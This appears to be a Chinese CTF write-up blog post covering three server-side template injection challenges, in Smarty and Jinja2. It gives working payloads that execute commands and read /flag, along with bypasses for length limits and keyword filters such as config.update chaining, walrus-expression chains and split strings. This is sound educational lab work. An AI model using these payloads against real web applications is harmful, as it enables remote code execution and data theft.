ssti例会练习

1.[NISACTF 2022]midlevel

image-20250304154956502

打开题目可以看到是一个获得ip的界面,又看到最下面有个Smarty,因此可以确定是php的Smarty模板,可以ssti,但看了看没有可以注入的地方,这时候想到Smarty模板可以在XFF里注入,所以我们在这里用XFFimage-20250304155829792

看,这里变49了,这就代表着可以注入。

怎么注入呢?

Smarty模板可以注入的方式有几种:

  • {php}{/php}
  • {literal} <script language="php"></script>
  • {if}{/if}
  • {}直接执行命令

先用{$smarty.version}看版本

image-20250304160149929

smarty3.1.30,像这样{php}{/php}就用不了了,因为只能在smarty2和smartyBC(2-3的一个过渡版本)使用。

又因为php版本是7.3.11,所以<script language="php"></script>用不了,那现在就两种方法,试试{if}{/if}

image-20250304161157584

有回显,可以。再试试{}

image-20250304161316372

也可以,那直接cat /flagimage-20250304161412633

flag在此NSSCTF{e07f7a5e-6acf-4968-8e68-91c326bf5088}

2.[单身杯]ezzz_ssti

image-20250304161818196

image-20250304161831576

已经很明显了,可以看看{{7*7}}image-20250304161931613

更明显了,可以sstiimage-20250304162800924

果然可以,在这里我用的是jinja2模板自带的函数,就直接有了globals的属性,比起从基类找感觉更方便。继续image-20250304164037025

嗯?坏了,有长度限制。改用config.update

Flask 框架中存在 config 全局对象,用来保存配置信息。

config 对象实质上是一个字典的子类,可以像字典一样操作。

因此要更新字典,我们可以使用 Python 中字典的 update() 方法

update() 方法 + 关键字参数更新字典

1
2
3
4
d = {'a': 1, 'b': 2, 'c': 3}
d.update(d=4)
print(d)
#{'a': 1, 'b': 2, 'c': 3, 'd': 4}

所以我们就可以用这种方式在config全局变量中分段保存payload,以绕过长度限制。

所以payload为

1
2
3
{{config.update(a=url_for.__globals__)}}
{{config.update(b=config.a.os.popen)}}
{{config.b('cat /flag').read()}}

一步一步把每段payload传上去最后得到flagimage-20250304170510646

ctfshow{223641b5-a099-4816-8ac2-475de5185ae4}

3.[VNCTF 2025]学生姓名登记系统

image-20250304192806210

这是一个和上面一样的ssti.{{7*7}}有这个image-20250304193102226

但想继续用上面的方法不行了image-20250304193127456

所以只能从基类开始 {{''.__class__.__base__}}image-20250304193315593

坏了,有长度限制,数了一下,最多23个字符,上一道题的config.update就用不了了,太长了。

所以换一种方法,因为这道题可以多行解析,所以用海象表达式

构建pyload

1
2
3
4
5
6
7
8
9
10
{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()[156]}}
{{e:=d.__init__}}
{{f:=e.__globals__}}
{{g:='__builtins__'}}
{{h:=f[g]['op'+'en']}}
{{j:=h("/flag")}}
{{k:=j.read()}}

image-20250304194701424

这样就有了flag

有需要注意的几个点,这道题过滤了open、eval、import等,可以['op'+'en']绕过

还有就是,__subclasses__()[]这部分需要爆破,可以写python脚本,也可以手动二分法找到自己要用的类。

flag为VNCTF{THE_AOOO-IlN3_6ottL3-fR@M3wORk-l5_W0Nd3rFUL226}


ssti例会练习
http://example.com/2025/03/04/ssti例会练习/
作者
yuhua
发布于
2025年3月4日
许可协议